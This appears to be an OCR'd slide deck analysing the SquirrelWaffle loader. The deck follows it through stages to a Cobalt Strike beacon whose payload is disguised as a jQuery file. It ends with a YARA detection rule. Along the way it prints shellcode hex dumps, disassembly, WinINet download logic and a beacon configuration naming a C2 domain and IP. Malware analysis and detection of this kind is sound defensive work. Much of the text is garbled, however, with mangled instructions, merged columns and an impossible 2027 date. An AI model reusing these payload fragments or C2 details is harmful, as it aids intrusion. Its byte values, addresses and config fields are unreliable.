nop dword ptr ds:[eax],eax
mov cl,byte ptr ss:|Jebpt+esi-225]
mov byte ptr ss:[febp-ss0f,cl
lea ecx,dword ptr ss:[Jebp-&Cs]
push dword ptr ss:[lebp-350]
call 2087041.70D96860

inc esi

cmp esi,edi

j1 3087041.70D93A30

mov esi.dword ptr

5

eax:"HTTP/1.1 406

dword ptr

ds: [70D94130

-Text:70D93A1F 3087041,

<3087041.recv>]=<ws2_32.recv:

d11:$3A1F #2ELF

EAX 0D0D97ED24

00000177
OD97EF4C
0097ERTC
OoD0001Co
00000178

70D33A1F

EFLAGS

Default (stdcall)

: [esp] 00000
[esp+4] 0097
[esp+8] 0000
[esp+C] 0000
Fresn+101 7an

00000

O097ED2 4
0097ED34
0097ED44
O097EDS 4
0097ED G4
O097EDT 4
0097EDB4
0097 ED 94
0097 EDA4
0O097EDE4
0097EDC4
O097EDD4
O097EDE4
O097EDF 4
0097EED4
O097EEL4
O097EEZ24
O097EE34
O097EE44
O097EES4
O097EEG4
O097EET 4
O097EEE4
0097 EES4

HTTP,/1.1 406 NotT
Acceptable..Dat
e: 5at, 02 Oct 2
021 16:03:20 GMT
..Server: Apache
. .Content-Length
226. .Content-T
vpe: text/html;
charset=iso-8853
-1....<head><tit
TexMot Acceptabl
el</titlex</head
<body><hl>Not A
cceptablel</hl><
p=An appropriate
representation
of the requested
resource could
not be found on
this server. Thi
S error was gene
rated by Mod_sec
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Unfortunately curren‘t requests to the CnC Server doesn‘t result in a further
infection...

| got a successful infection in my lab environment in the past resulting in a
dropped and executed file
<RandomsString>.txt in C:\User\<User>\AppData\Local\Temp

This file was similar to the one uploaded by
malware-traffic-analysis.com

Name: RVOgDko8fnP.txt (MD5 ef799b5261fd69b56c8b70a3d22d5120)

l Ch\Users\User\AppData'Local\Temp

Name Anderungsdatum Typ GraBe

. RVOgDko8fnP bt 18.09.2027 04:14 Textdokument 178 KB

IIIAGIIAM 123 DOC

i,

vnnj.
_DROPPER

/
\
\ g
WWW2.DLL

gﬁ; gﬂwf

@"

(}IIBAl'I' S'I'IIII(E
\llllllllll
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offset LibFileName ; "USER3Z.DLL" Imports B
dsi LoadLibrarys Address Ordinal Name Library
edi, eax
edi, edi %E] 00417078 EraseTape KERMNEL32
loc_ 409238 %2 0041707C FindFirstVolumeW KERNEL32
- 1 - LR esi, ds:GetProchddress %E) 00417020 FindActChiSectionStringW KERNEL32
on‘t get fooled by .txt ending, actually it's a |
ui HeapAlloc KERNEL32
P E -— D L L offset ModuleName ; lpModuleName GetlastError KERMEL32
Offset (h) 2 Dekodierter Text ds:GetModuleHandleld % HeapReAlloc KERMEL32
00000000 0 esi, ds:GetProcAddress . GetStartupinfol KERMNEL32
00000008 offset ProcName ; "LocalAlloc™ RaiseEx KERMELZ2
- eax ; hvodule aisebxception
0000001? htodule, eax RtlUnwind KERMEL32
poogooLs esi ; GetProcAddress %5 00417040 TerminateProcess KERNEL32
Qooooo0zag
. coaoaoas Lo ot e 00417084 GetCurrentProcess KERNEL32
= |[nteresting Imports | e etprotect ittt TS UnandiedEsceptinFite
0O000038 - . hMedule 3 hModule 004170AC SetlUnhandledExceptionFilter KERMNEL32
o 00000040 et esi ; GetProcAddress %2 00417080 IsDebuggerPresent KERNEL32
L Od d L 1 b ra Py ooooooes ¢ f..LIMR %) 00417084 HeapFree KERNEL32
00000050 72 is progr = . .
00000058 6F am camno | 004170B8 DéleteCrltlcaISectlon KERMEL32
o 00000060 6E t be run 5] 004170BC VirtualFres KERNEL32
1 r\ u a O C QO00006Es 20 in DOS 004170C0 VirtualAlloc KERMEL32
00000070 0L mode.... 004170C4 HeapCreate KERNEL32

004170C8 GetModuleHandleW KERNEL32
%E] 004170CC Sleep KERMNEL32
%z 00417000 ExitProcess KERNEL32
%] 00417004 WriteFile KERMNEL32

= Libraries are mostly linked at runtime

Rule Information Address Details

= Dyn a.m i C A n aI yS i S [] accept command line arguments host-interaction/cli
. - [ check mutex host-interaction/mutex
Set breakpoints at relevant functions ) contains PDB path exccuvasic/se/ods

I:‘ extract resource via kernel32 functions executable/resocurce

hd host-interaction/hardware/storage
Load lera r‘y = i collectio-n

[ link function at runtime (2 matches) linking/runtime-linking

o
V 1 r‘ t u a lA l l O C 7 link many functions at runtime linking/runtime-linking
query environment varial host-interaction/environment-variable




Filling the buffer Buffer completely filled

VirtualAlloc HW,Write End of loop

— — =
: ~ OF82 AADDDDOD b 698770 . F/Os neg €ax
By  [log  [HNotes ® Breakpoints M8 MemoryMap [ Call Stack  S2SEH o Soipt  E symbols <> Source S R 8A11 mov dl,byte ptr ds:[ecx] . 1BCO sbb eax, eax
A 00 push 0 = 8510 mov byte ptr ds:[eax],dl * E pop €5
8E45 03 mov_eax,dword ptr ss:|[Jebp+s] 40 inc eax . 23C1 and eax,ecx
FF50 24 €8 dword ptr ds:[eax+24] 00670000 41 inc ecx - 4] pop ebx
8945 F8 mov dword ptr ==s:[ebp-8],eax EAX 4F dec edi 5D pop ebp
8365 F4 00 and dword ptr ss:[febp-cl,0 4120000 ~ 75 F7 jne 69B6CE | EIP g 1 c3 ret
6A 00 push 0 - v EB 5F Jjmp &9B720 . 43 push ebp
D45 P4 ;5;63;;‘1“'”” ptr ss:llebp-CH EEXF. posTDo00 OFBE31 movzx esi,byte ptr ds:[ecx] . 8BEC mov ebp,esp
FF75 F8 push dword ptr ss:[febp-sj ESP  0019FB0C 1 ULE &= . 884D 08 mov ecx,dword ptr ss:[[ebp+S]
8B45 03 mov eax,dword ptr ss:[[ebp+sl] ESI  0O19FAG4 B3FE 10 cmp esi, 10 . SB41 0OC mov eax,dword ptr ds:[ecx+C]
8B40 04 mov eax,dword ptr ds:[eax+4] EDI  0000012C ~ OF83 B2000000 jae 638790 . 69C0O FD430300 imul eax,eax,343FD
FF30 push dword ptr ds:[eax] B5RE) EESINEshES . 05 C39E2600 add eax,Z269EC3
FF75 FC push dword ptr ss:[febp-<] EIP  O0G9BEST ¥ 75 16 Jne 6386F8 . 8941 0C mov dword ptr ds:[ecx+C],eax
E8 13000000 €all &9B630 v EB 07 Jmp E9BEEB . C1FR 10 shr eax.1n - -
83C4 14 add esp,14 EFLAGS 00000 81C6& FFOO0000 add esi .
BB45 F8 mov eax,dword 41 inc ecx
8945 FC mov dword ptr dr & R & L7 8033 00 cmp byte ptr ds:[ecx],0
BE45 08 mov OF 0 SF 0 DF = TrRETe
ez s mov B8 oo o ~ 74 F4 je 69BGE4
2E4D F4 v OFB611 movzx edx,byte ptr d
3908 = LastError 0O 807416 OF lea esi,dword ptr ds 0069B8F4
Fe S B Lastsrarus oo ;éll %35 :§§ dword ptr ds:[ecx] o)
leang 8910 mov dword ptr ds:[eax],edx B Dump1  gDump2  EWDump3  §Dumpd4  YJDumpS B9 Watch1  [x=lLocals
push etp___ b Daﬁu\t(stdcfl\)FFFF g: 04 ggzhe;x Address | Hex ASCII
> Lesprdl 00870000 | EB 03 €2 OC|00 55 BB EC |81 EC 00 10|00 00 C7 45| &.A..0.1.9....CE
esp+3] 0069 03cz add eax,edx g = E L =
dword ptr ss:[ebp-8] esp+C] 0019} 03CA add ecx,edx 00670010| €O 16 OE 00|00 C7 45 A8S|00 00 40 008D 85 50 FF|A....CE ..&...Fy
£ax=00670000 esp+i0] 006 4E dec esi 00670020 | FF FF 50 8D |45 D4 50 8D |45 98 50 E£8|FB 08 00 00|yyP.EO0P.E.Pel. .
~ [esp+l4] o0l v 74 2A je 698730 00670020| 83 C4 OC E8|04 00 00 00|00 00 00 00|58 89 85 &C ¢
S 3BF2 cmp esi,edx 00670040 | FF FF FF 8B|00 85 CO 74|03 €9 FF EO
) v 72 1D jb e9B727 00670050| 00 8B 85 6C|FF FF FF 8B|4D CO 8D 44|01 C8 83 45
Llocale s tict 8E39 mov edi,dword ptr ds:[ecx] 00670060 |F8 8B 45 F8|89 85 53 FF|FF FF C7 85|70 FF FF FF
8338 mov dword ptr ds: 1 00670070| 6B 65 72 GE|C7 85 74 FF|FF FF 65 6C(33 32 C7 85
2BF2 sub esi,edx 00670080| 78 FF FF FF|2E 64 6C 6C|83 A5 7C FF|FF FF 00 8D
. 03c2 add eax,edx 00670090 | 85 70 FF FF|FF 50 FF 55 |D4 89 45 C4|C7 85 70 FF
0sca add ecx, edx 006700A0 | FF FF 56 63|72 74 C7 85|74 FF FF FF|75 61 6C 41| yyVirtC.tyyyuala
po e . 3BF2 cmp esi,edx 006700B0|C7 85 78 FF|FF FF 6C 6C|GF 63 83 A5 |7C FF FF FF|C.X Toc, ¥ | Yy
0070050 00 00 00 00|00 00 00 09|00 00 00 03|00 00 00 00 " mre fest ant et 006700C0| 00 80 85 70|FF FE FF 5O|FF 75 C2 FPI5S 98 YPYUAY
00670060 00 00 00 00|00 00 0D 0O0|0D OO 00 00|00 00 00 00 v 74 14 je 698730 ggg;gggg E: Es gi éco EE FE EE §§ EE Fﬁ F: = gg ,:
AA11 mov dl.hvte ntr ds:Tecx] : — L AL — :
2ax=00670000
DOE9B6CA
i i i " i ) =
s Dump 1 iy DumPZ u_.lDumPS. Bl DumF 4 u_.lDumP 5 o0 \'u'a_tdﬂ 1 [x=] Locals
Address | Hex
EB 00 00 00[00 00 00 DD|DD 00 00 00[00 00 00 00
00 00 00 00[00 00 00 00[/00 00 00 00[/00 00 00 00

= After multiple LoadLibrary calls, a VirtualAlloc follows
= Set HW,Write breakpoint at the new allocated buffer
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= Jump to the new buffer takes place immediately after the end of the loop
- Shellcode execution

EB = jmp 670005
03 add eax, edx

Addeess 1 Hex
C2 = r‘et C 00670000 EB 03 C2 OC|00 55 88 EC |81 EC 00 10
U /UL T Ol L U U U Oy 5 Ao | DI UL St U
O0670020| FF FF 50 8D |45 D4 50 8D |45 98 50 E&
00670030| 83 C4 OC ES|04 00 00 00|00 00 OO 0O
00670040 | FF FF FF BB |00 85 CO 74|02 C9 FF EO
00670050| 00 8B 85 &C|FF FF FF 8B |4D CO 8D 44
O0670060| F8 8B 45 FB|89 85 58 FF|FF FF C7 85
D0670070| 68 65 72 &E|C7 85 74 FF|FF FF 65 6C
[ =y r 00670080 | 78 FF FF FF|2ZE 64 6C &C |83 A5 7C FF
B cru ,_gLog | Notes #® Breakpoints 8 Memory Map [ call Stack =% SEH | Script %] Symbols 00670020 | 85 70 FF FF|FF 50 FF 55|D4 B9 45 C4 7 »
z 00G700A0| FF FF 56 63|72 74 C7 85|74 FF FF FF|75 61 6C 41| yyWirtC.tyyyuala
. ggig E: 333 gsi'gﬁgpg g§£ TJ'ESE; é% ~ 006700B0|C7 85 78 FF|FF FF 6C &C|GF 63 B3 A5 |7C FF FF FF|C. xyyy]10c ¥|yyy
- - it =t Soaam g e T I T s e e e
EIF s d j : E SroE 2 N il B i ¥
| . K ML - 0 [Ebp | DOG7O0ED| FF 75 61 &C |50 C7 85 78|FF FF FF 72|6F 74 65 C7|yualPC.xyyyroteC
= 006700F0| 85 7C FF FF|FF 63 74 00|00 8D 85 70O|FF FF FF 50|, |y¥¥ct... . pyyyP
= 0019F80C 00670100| FF 75 C4 FF|55 98 83 45 |D& C7 85 70|FF FF FF 56 yuAyu L EGC. PV
: s e e e D
—— . 7 7 7 ree. . .pyyveyL
= sheggidword ptr ss:[ebp+C] ’;ﬂ"“ Eg; ggigiigﬁ 00670130|C4 FF 55 98|89 45 SC C7|85 70 FF FF|FF 47 65 74| i;ﬁ -E.C.pyyvcet
° push esi EDI  0000012C
. mov esi,dword ptr ss:
. add eax, esi g EIP O0OOGIEGSE QoEeTaE4nl o0 oo oo ooloo oo oo )
. mov dword ptr p+&ll, eax 00670E50| 4D SA 90 00|03 00 00 00|04 00 00 OO|FF FF DO DO MZ.xeeeesnss [
' mov eax, dwar ss:[ebp+14] Default (stdcall) D0670EGO| B8 D0 DO 00|00 00 00 s [T
' Xor ebx, e e 00670E70| 00 DD 0O 00|00 0O OO B
*l > 1: [esp+4] 006700 00670E80| 00 00 00 00|00 00 00 i
dword pt TTebo-a =001 = 2l eE m R RODERDT 00670E90| 0E 1F BA OE |00 B4 02 i : “.fr_.LitTh
word ptr ss:[ebp-4]=[ 3: [esp+C]_O0O19FA 00670EAQ| 69 73 20 70|72 6F 67 72|61 6D 20 63|61 GE GE 6F | is prngram canno
4: [esp+10] 0DOE3E DDG67OERD| 74 20 62 65|20 72 75 GE|20 &9 GE 20|44 4F 53 20|t be run in DOS
&: [esp+14] 0O019H aoeonecnlep g ga ecloc an op aaloa oo oo oolon oo o0 ool medas £
Tl DOG70EDD| 7E 2F 73 88| 3A 4E 1D DB|3A 4E 1D DB|3A 4E 1D DB|~/5.:N.0:N.U:N. D
~— & DDG67OEED| 33 36 SE DB|30 4E 1D DB|29 23 1C DA|33 4E 1D DB| 36. DDh. 3. 08N. D
2% Dump 1 WyDump4 Y Dump S B watch 1 [*=] Locals 4 Struct DOG70EFD| 29 28 1E DA|3E 4E 1D DB|29 25 18 DA|28 4E 1D DB|)(.0 .0
P | 00670F00| 29 28 19 DA|36 4E 1D DE|55 2A 1C DA|39 4E 1D DB j{.ﬂﬁh. .0
- DD670FL0|3A 4E 1C DB|16 4E 1D DE|7B 29 14 DA|38 4E 1D DB|:N.D.N. .0
O013F 514 ‘22.52.&2.22‘&&.E&.12_ﬂﬂ ea@aTU. .. T.duU. . 00670F20| 7B 29 E2 DB|3B 4E 1D DEB|7E 29 1F DA|3B 4E 1D DB| {Ja0;N.0{ .0
00 00 00 00|01 00 00 00[24 02 00 00 ............5... 00670F30|52 69 63 &8|3A 4FE 1D DR|00 00 00 00|00 00 00 00 |Rich:N.O........




; int _ cdecl main(int argc, censt char **argv, const char **envp)
_main proc near ; CODE XREF: _ scrt_common_main_seh(void)+FSip

- argc = dword ptr 4
Analysis — Stage 5 ol
envp = dword ptr @Ch
15 @@ 20 48 @@ call ds:FreeConsole
ge 18 4e ee mow eax, offset execute_shellcode
call eax ; execute_shellcode
wor eax, eax

retn
endp

u DU m p the P E-EXE sub_2B188F proc near ; CODE XREF: exec

pop ebp

push 74656Eh
push 696E6977h
push esp

push 726774Ch ; Loadlibrarya
. . . call ebp
u Statlc an aIySIS reveals’ th at there IS i:il :;i} edi sub_4816D7 E;Ec near ; CODE XREF: sub_4018D
push edi xor edx, edx
T . . . ! ,
one ,main” function, which is a e T S
pus e } push edx
shellcode w rapper bt 552?9563% ; Internetopens o

jmp loc_4@115E push edx

sub_4@183F endp push eax
— push 3B2E55EBh ; HttpOpenRequestA

call ebp
mov esi, eax
add ebx, 58h ; 'P'

= Breakpoint on LoadLibrary shows, that 2

; sub_4818D7+1F217 push &

. . . . . a0h 5 @ push eax
wininet.dll is used during runtime g
:g?&&&h push 869E4675h 3 InternetSetOptiona
Y H - . @ES534458h ; Virtualalloc ;:él :SS
= Additional Breakpoints on wininet
eax, ebx push edi
. ecx, BFAFh push edi
fu n Ct I O n S ecx, ebx push  BFFFFEFFER
e e
edi, esp push 7B18862Dh ; HttpSendRequestA
I n t e r\ n et C O n n e C tA loc_4@130F: ‘ ; CODE XREF: sub_4219) e
onoh
InternetOpenA o

BE2899612h 3 InternetReadFile

InternetReadFile 2

short loc_4@12E8
eax, [edi]
ebx, eax

HttpOpenRequestA it T sonsor
HttpSendRequestA

eax




Analysis — Stage 5

1) InternetConnectA

2) HttpOpenRequestA

3) HttpSendRequestA

Address

7; G

InternetConnectA

HttpopenRequestA

HttpSendrequesta

ACCept: tex

1,applicati

<wininet.HttpopenRequesta>

"/ijquery-3.3.1.s1im.min. js

o

<wininet.HttpSendRequesti>

"Accept:

tex

Jhtm1,applicat




Analysis — Stage 5

HTTP GET Request

The crafted request looks like a
harmless HTTP GET Request to receive
a JQuery Javascript file

Setting up a simple request with no
additions, results in a blank answer...

To receive the .js file, reproducing the
whole GET request including HTTP
Header fields is required, e.g.:

Referer hxxp://code.jquery.com/

ptr ds:[esi+z238],eb:

Options

# Memory Map ) call Stack
FF2495 G4BE4F77
8049 00
2301
8A06

dword ptr ds:[edx*4+774FBEG4]=[msvCrL.774FBEGC]=msvCrt,.774FSESE

.text:774FBDAA msvcrt.d11: §58DAA #551AA4

Woump2 @4 Dump 3

1..ACC

ept:

html,applic
T

tml

JAccept-Lan
: en-Us,en;

cept-

O0EFEZ80

+xm1,

a
q=t

¥
Encod
defla)

EIP

EFLAGS
ZF O

& symbols <> Source

-
wininet.7553DAB0

msvcrt. 774F8DAA

93 “:UEFA

"GE




buffer in ebx

Analysis — Stage 5 P

offset to ebx (Buffer)

Buffer +

4) VirtulAlloc e s )

Response of the request is saved into
a buffer

Size: 4MB

Return to ret-addr

uffer+f

p
g2l =bp
xchg ebx

ebx (&Buffer)

5) InternetReadFile - e
Buffer is filled in multiple chunks
Important offset OXFAF stored

In ECX register

eax, eax
je stages[.8112ES8

,
jne stageS[.81130F

(XX XXX

chleifenende
eturn an Ri

8l
0
85
75
58
c3
ES
3

B89FDFFFF £all stages[.B8110BA
1 xor dh,byte ptr [ecx]

0
R: Tesn+101 0r
. Jexe: $131C




Analysis — Stage 5

Breakpoint at the end of the loop
—> Buffer is filled completely

|

ssssssssees

On the first look, the response looks like
a valid JQuery response

Looking more in detail and following the code
execution, the buffer contains a shellcode which is
called directly afterwards, by jumping to offset OXFAF

| COBALY

03620FAF

03620FCF
03620FDF
03620FEF

[irtu

Neuer &Buffer in ebx
ffset FAF in ecx
et FAF auf ek &Buffer)

auf dem ack
in EDI

InternetReadFile

Schleifenende
Return an Rlcksprungadresse auf dem Stack

ptr
23 ptr

jmp 3620FFE

3654A01
46AZDIBE




Offset (n) Dekodierter Text

00000000 0 7 7 0 0 7 0 0 0 7 7 /*! jQuery ¥3.3.1 | (c) JS Foundation and other contributors | j
00000040 7 7 7 ] query.org/license */!function(e,t){"use strict";"object"==typeof

00000080 ] ] 0 0 ] 7 moduless"cbiect"==typeof module.exports?module.exports=e.docume

000000CT 7 7 & 7 E 63 ] 7 0 nt?t (e, !0) :function () {if (le.document) throw new Errer ("jQuery re

00000100 7 ] 7 7D ] quires a window with a document");return t(e)}:t(e)} ("undefined”

00000140 3D 7 7 = !=typeof window?window:this, function(e,t){"use strict";var n=[],

00000180 3D 7 0 6 ] z=e.document, 1=Object.getPrototype0s, o=n. s1ice, 8=n.CORCat, S=R.pu

000001C0 8 ) 6. ) 7 sh,u=n.indexOf,1={},c=1.toString, f=1.hasCwnProperty, p=f.toString

00000200 ,d=p.call (Object) ,h={},g=function e (t) {return"function"==typeof

00000240 t&&"number”!=typeof t.nodeType}, y=function e(t) {zeturn null!=tss

00000280 t===t.windew},v={type: !0, src:!0,noModule: 10}; function m(e,T,n) {v

000002C0 ar i,o=(t=t||r).createElement ("script”);if (o.text=e,n)for(i in v

00000300 ynl[ilss(o[i]=n[i]);t.head.appendChild (o) .parentNode. removeChild(

00000340 o) }function x(e) {return null==s?e+"":"object"==typeof e||"functi

00000380 on"==typsof =?l[c.call(e}]||"ckjsct"itypect elvar b="3.3.1",w=fu

000003C0 nction (e, t) {return new w.fn.init(e,t)}, T=/"[\s\uFEFF\xA0]+| [\s\u

00000400 FEFF\xR0]+5/g;w. fn=w.prototype={jguery:"3.3.1", constructor:w, len

00000440 gthi0, toArray:function () {return c.call(this)},get:function(e){ze

00000480 turn null==e?0.call(this):e<0?this[e+this.length]:this[=]},pushs PS e u d O J u er
000004C0 tack:function (e} {var t=w.merge (this.cOnSLructor(),e);Iecurn t.pr

00000500 evObject=this, t},each: function(e) {return w.cach(this,e)}, map: fun

00000540 ction(e){return this.pushStack (w.map(chis,function(t,n){return &

00000580 .call(t,n,t)}))},slice: function() {return this.pushStack(o.apply(

000005C0 this,argumentcs))},first:function() {recurn this.eq(0)},last: funct
00000600 7 7 7 ion() {return this.eq(-1)},eq:function(e){var t=this.length,n=+e+
00000640 0 7 0 7 7 7 7 C 7 B ) 7D (=<02t:0) jreturn this.pushStack(n>=0&&n<t?(this[n]]:[])},end:fun

W m e wm
O mwEmm e eE o e
G wm o
OO e e

@ m oo o m

00000DE0 0 1 0 63 0 7 & er String Function Array Date RegExp Object Error Symbol".split|(
00000DCO 0 7 C 0 ] 7 7 77 7 3 E 7 " "), function(e,T) {1["[objsct "+T+"]"]=t.toLowerCass()});functic
00000E00 7 6 6 n C(e)ivar © £&"length”in e&ke. length,n=x (=) ;returnlg(=)&sly(
00000E40 2 7 3 ) ) ] 0 0 ) 3 0 e)&&("array"===n||0===t| | "number"==typeof t&st>0sst-1 in e)}var
00000ESD ] 7 E=function(e) {var t,n,z,i,0,8,5,4,1,c,£0,d,h9,¥ v, mxb="sizzl
00000ECO ="+l%new Date,w=e.document,T=0,C=0,E=a= (), k=ae () ,S=ae (), D=functi
00000F00 on(e,t) {return e=—=t&&(

00000F40 ,a=h.push,L=k.push, &

00000F80
00000FCO
00001000

- oW
oW m o«
[

e

woa .
. . .
BIjU|UREE..? .ri CL."IX.&3xg.. *w.B°0c) #c¥AWEi+:3AAK|6@EbCu:a
sRsta. . U0EG+g# ‘plmh. Ai2!g.€@2u+En.2.\\EF.14) .51, |BI»2i4.C.;NO

w

00001040
00001080
000010C0 7 7 7 7 Y 0
00001100 0 3 « 00 ] oo oo L

GEwmwl e .
oW A

5]

00001140
00001180
000011C0
00001200

00001240 0 0 0 -¢A.. .. - - I L R T .
00001280 1 00 [ 0 0 00 0o 0 0 ). A 1 A 7 10 1 A 0 .. . .BA _6-cia 15+®. *2bxL, . —¢ um.N.22kE, «. .
000012C0 3 oD 1 0 E c 1~.7.A59. . ~gi*~| . 1.X&.3604&TTE I I I e e
00001300 E ) ! 0 =FEET°323. 'I.:.¢.A.8,%@ + BoJiCy.5.UNS«D'B44~5 ‘@A0cC.Is
00001340 B..SWESTH #7432 .Mt25-61i7ERS.h=! V' AAL) 1 A~ F1aWn%aR. O

7 4 7 ) 0 0 ) 7 ) .@é
sosoisac . : : ; s . - . 7 A).=! s 2..05..18..%.2;84¢€0,1T&"1 2 $e.Hr."z:3B006F If] el I CO d e

o o
RS

=]

00034240 3D 3D 3D 3D 3D ) 3D > 8 ) 3D 3D 3D 3D 3D ) S0 OEK=0€ k=08 k=08 k=0 k=08 k=0€ k=08 k=08 k=0 k=0% k=0€ k=0€ k=0€ k=0E k=0E k=
00034230 ] 3D 3D 3 3D 3D 3 0 ) ] 3D 3 3 0 3D 3D ofk—o€k=ofk=0Ek=0€k=0Ek=0gk=0Ek=0E k=0 =0f k=0Ek=0E k=o€ k=0E k=0Ek=
000342C0 0 3D 8 ) 0 ] ] 0 ) ) 8 ] 3D 0 ) 0 3D 3D 8 3D ] 0 ) ) ) ofk=0€k=08 k=o€ k=0 k=0E k=o€ k=08 k=0€ k=o€ k=0f k=o€ k=0f k=o€ k=08 k=0S k=
00034300 ) ) ] ] ) ] ] ) ) ) ] ] ) ) ofk=0€k=0€ k=o€ k=o€ k=o€ k=0€k=0E k=o€ k=o€ k=o€ k=o€ k=0E k=o€ k=0€ k=o€ k=
00034340 3D ] 3 3 ) 3 3 0 ) 3D ] 3D 3 0 ) ) ofk=0€k=0E k=o€ k=0 k=0f k=0Ek=0E k=o€ k=o€ k=0E k=o€ k=0f k=0T k=0E k=0€k=
00034330 0 ] ] 0 ] ] 0 0 ] ] 0 ofk=c€k=0€ k=o€ k=oEk=0E k=o€ k=0f k=o€ k=0€ k=o€ k=o€ k=o€ k=o€ k=0€ k=o€ k=
000343C0 3D ) ] ] ) ) ] ] ) 3D ) 3D 3D ) ) ofk=0€k=0€ k=o€ k=o€ k=o€ k=0€k=0E k=o€ k=o€ k=o€ k=o€ k=0E k=o€ k=0€ k=o€ k=
00034400 ) ) ) 7 ] ) 7 ofk=0€k=0Ek=0€k" . (o=t .documentElement,Math. max (t.body["scrollm+e
00034440 7 3 7 ] 1,00"scroll™+el, t.body["offset+e], o["offset™+e], o[ "client"+el))
00034430 ) ] 7 1 D :void O===i?w.css(t,n,s):w.style(t,n,i,5)},t,a%iivoid O,a) b} b,
000344C0 61 7 7 7 7 0 7 0 w.each("blur focus focusin focusout resize scroll click dblelick
00034500 6D ] G 7 7 mousedown MOUSEUP MOUSEMOVE MOUSSOVEr MOUSSOUT MOUSSENTEr MOuSE
00034540 7 0 ) 7 7 ) /3 leave change selsct submit keydown ksypress Keyup COnTeXTmenu”.s
00034580 ] 7 & ) plit(" "),function(e,t) {w.fn[t]=function(e,n) {return arguments.l
000345C0 & 7 7 7 7 ength>0%this.on(t,null, e, n) :this.crigger () }}},w. fn.extend({hove
00034600 7 E 6 7 7 3 7 7 73 7 c rifunction(e,t) {return this.mousesnter(s) .mouselsave(t||e)}i),w.
00034640 € A 7 6 3 fn.extend((bind:function(e,t,n) {return this.on(e,null,t,n}},unbi
00034630 7 nd:function(e,t) {return this.off (e,null,t)},delegate: function (e,
000346C0 7 7 t,n,r){return this.on(t,e,n,r)},undelegate: function (e, €, n) {retur

00034700 0 ) ) 7 7 ) n l===arguments.length?this.off (=, "**") :this.off (t,=||"**",n)}})
00034740 77 79 7 c 2 7 7 7 ] 7 7 ,w.proxy=function(e,t) {var n,r,i;if ("string"==typeof t&s(n=e[t], S l l O I l er
00034730 ) 7 t=s,e=n),g(e))return r=o.call(arguments,2),i=function(){rsturn =

.apply (t| |this, r.concat (0.call (arguments) ) ) } ,i.guid=e.guid=e.gui
d| |w.guid++, i}, w.holdReady=function (e) {e?w. readyWait++1w.ready (!
0)},w.isArray=Array.isArray,w.parseJSON=J5ON.parse, w.nodeName=N,
w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x, w.now=Date.no

w.isNumeric=function(e) {var t=w.type(e);return("number"===t||"
string"===t)&&!isNal (e-parseFloat () )}, "function"==typeof define
s&define.amdésdefine ("jquery”, [], function () {return w});var Jt=e.
jQuery,Kt=e.$;return w.noConflict=function(t) {return e.$=—=w&& (e
.$=Kt),ts&se.jQuery=—=wss (. jQuery=Jt),wl, t|| (¢.JQuery=c.5=w) ,w})

000347C0
00034800
00034840
00034880
000348C0
00034900
00034940
00034980
000349C0
00034R00

am om0 o
@@ oW oo




Analysis — Stage 5/6 1 B o g Eemtzom:

Follow in Durmp

Dump Memory to File

nmert ;
N Executable code
Find Pattern... Initialized data

Dump the memory page

C:\Tools\CobaltStrikeParser>python parse_beacon_config.py \Malware\squw'\stage5\beacon.dll

BeaconType - HTTPS
Port - 8086

Extract the PE-DLL from dumped page - - asoco
MaxGetSize - 1483644
Jitter - 37

Offsets for extraction: e o

. PublicKey_MD5 - e9ae865T5ceB35176457188480T6020a
Begln OXFAF == End OX344OE C25erver - systemmentorsec.com, /jquery-3.3.1.min.js,213.227.154.92,/jquery-3.3.1.min. js
P — UserAgent - Mozilla/5.@ (Windows NT 6.3; Trident/7.8; rv:11.8) like Gecko

HttpPostUri - /jquery-3.3.2.min.Js
Malleable C2_Instructions - Remove 1522 bytes from the end

Remove 84 bytes from the beginning .

(COBALT'STRIKE

Remove 3931 bytes from the beginning \I.lllll!!l
Base64 URL-safe decode

XOR mask w/ random key

HttpGet_Metadata - ConstHeaders

Accept: text/html,application/xhtml+xml,application/xml;q-8.9,%/%;q-8.8

=A

Ref : http://code.j y.com/ ' " 0
ererer P ode-Jquery. com Spawnto_x86 - Fwindirf\syswow64\dllhost.exe BEAGI]II,
DER,

N
A
GO,
You!

CEE IR R R

F F
F F
F F
F F
F F
F F
F F
F F
F F
F F
F F
F F 8
E

q

J
BEACONDLL

. - a4 e 3 -
Accept-Encoding: gzip, deflate Spawnto_x64 #windirf\sysnative\dllhost.exe

Analyze it using Cobalt Strike Parser!




Recap
CnC-Server
SquirrelWaffle

Loader
Download Drop k

Extract ‘ E Drop Execute aPLib ——
— —] ‘ = — > _bd —
= compresse
DOC |y DLL DLL
Download
Spam mail Encrypted Word document VBS Loader Stage 2 Stage 3
with link .zip archive with obfuscated VBA PE-DLL PE-DLL \4
www][1-5].dll DII1.dll,Idr
CnC-Server
Execute
Execute Embedded Drop
Execute
DLL EXE DLL B s
Stage 6 Stage 5 Stage 4
PE-DLL PE-EXE PE-DLL
Cobalt Strike Cobalt Strike RVOgDko8fnP.txt
Beacon Loader

Beacon CnC-Server



SquirrleWaffle 7 days ago @

YA RA ( rule SquirrelWaffle { meta: description = "Detects SquirrelWaffle Loader” date = "2021-09-23" author = "@jxd_io" strings: $config_decryption = {F77530837D1C108D4D088D4520C645CC000F434D0883.. Q
SquirreWaffle

0 LIVEHUNT NOTIFICATIONS tag"SquirteWaffie" AT SN G - I = [/ v

To detect the SquirrelWaffle loader | - _
created a YARA rule based on the |

. . . ) SquirrelWaffle . . 2021-09-29 202109-29 o
decryption function used in Stage 3 " o 2] O] s | w2
pedl  invalid-rich-pe-linker-version

SquirrelWaffle ) e 2021-09-28 202109-28 o

| 66 -3

10766 | S850KB 19:59:40 20:59:48 ! Lt

pedl  invalid-rich-pe-inker-version  detect-debug-environment  long-sleeps  malware

Squirrel\Waffle 2021-09-28 2021-09-28

O 13167 101.31 KB N _ 1

. - 16:22:46 16:22:56

rule Loader.SquirrelWaffle { pedl  invalid-rich-pe-iinker-version  overlay
ik = . - Squirrel\Waffle . _ 2021-09-27 2021-09-27 o
= O 7168 5098 KB 213856 22:39:05 ' bt

pedl  invalidrich pe finker-version  overlay  detect debug long sleeps  malware

B SquirrelWaffle _ 2021-09-27 202109-27 o)

.11 7167 62 44 b

u o b b4 KB 20-57-23 21:57:33 ' ot

malware

38045200645 CO0RFA34DA8E37D34100F 4345208A0410320439804DCCOFBECA}

SquirrelWaffle . 20210914 202109-26 o

! (¥, o

U 34766 5400 KB 13:20:30 04:23:18 ' ol

of them

Squirrel\Waffle . 20210917 202109-24 o

/ 3 o

O 326t 58.00 KB 23:16:49 17:09:24 ! ol
https://github.com/Oxjxd/YARA-rules/blob/main/Loader.SquirrelWaffle.yara
